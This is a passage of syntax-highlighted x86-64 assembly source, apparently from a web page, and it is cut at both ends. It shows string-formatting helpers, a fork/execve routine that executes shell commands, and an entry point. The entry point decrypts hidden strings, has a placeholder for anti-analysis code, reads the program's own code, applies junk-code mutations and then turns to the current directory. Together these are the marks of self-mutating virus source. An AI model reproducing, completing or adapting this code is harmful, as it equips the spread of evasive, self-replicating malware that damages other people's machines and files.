    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.found_percent&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.scan_format&lt;/span&gt;

&lt;span class="nl"&gt;.found_percent:&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'s'&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.cp_arg&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.cp_percent&lt;/span&gt;

    &lt;span class="c1"&gt;; Unknown format, copy literally&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.scan_format&lt;/span&gt;

&lt;span class="nl"&gt;.cp_percent:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.scan_format&lt;/span&gt;

&lt;span class="nl"&gt;.cp_arg:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;
&lt;span class="nl"&gt;.cp_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.cp_done&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cp_loop&lt;/span&gt;

&lt;span class="nl"&gt;.cp_done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.scan_format&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sprintf_two_args:&lt;/span&gt;               &lt;span class="c1"&gt;; string with two args&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r11&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;                 &lt;span class="c1"&gt;; dst buffer&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;                 &lt;span class="c1"&gt;; string&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;                &lt;span class="c1"&gt;; 1 arg&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;                &lt;span class="c1"&gt;; 2 arg&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;                &lt;span class="c1"&gt;; arg cnt&lt;/span&gt;

&lt;span class="nl"&gt;.cp_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.handle_format&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cp_loop&lt;/span&gt;

&lt;span class="nl"&gt;.handle_format:&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'s'&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.cp_string&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.cp_percent&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cp_loop&lt;/span&gt;

&lt;span class="nl"&gt;.cp_percent:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;'%'&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cp_loop&lt;/span&gt;

&lt;span class="nl"&gt;.cp_string:&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.use_arg1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r11&lt;/span&gt;                &lt;span class="c1"&gt;; second arg&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.do_cp&lt;/span&gt;
&lt;span class="nl"&gt;.use_arg1:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;                &lt;span class="c1"&gt;; first arg&lt;/span&gt;
&lt;span class="nl"&gt;.do_cp:&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
&lt;span class="nl"&gt;.str_cp:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.str_done&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.str_cp&lt;/span&gt;

&lt;span class="nl"&gt;.str_done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cp_loop&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r11&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;system_call:&lt;/span&gt;                    &lt;span class="c1"&gt;; execute shell&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_fork&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.child_process&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_wait4&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;.child_process:&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;sh_arg0&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;sh_arg1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;qword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_execve&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;shell_path&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_exit&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

&lt;span class="nl"&gt;.error:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;;;  entry point&lt;/span&gt;
&lt;span class="nl"&gt;_start:&lt;/span&gt;
    &lt;span class="c1"&gt;; anti goes here&lt;/span&gt;
    &lt;span class="c1"&gt;;avant:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_str&lt;/span&gt;   &lt;span class="c1"&gt;; Decrypt all&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_getrandom&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;si&lt;/span&gt;&lt;span class="nv"&gt;gnme&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;vierge_val&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;vierge&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;bin_name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strcpy&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;basename&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;orig_exec_name&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;strcpy&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;execute&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;

    &lt;span class="c1"&gt;; Read our own code&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;read_code&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;codelen&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_mutation&lt;/span&gt;

    &lt;span class="c1"&gt;; Apply mutations&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;replace_junk&lt;/span&gt;

&lt;span class="nl"&gt;.skip_mutation:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;current_dir&lt;/span&gt;
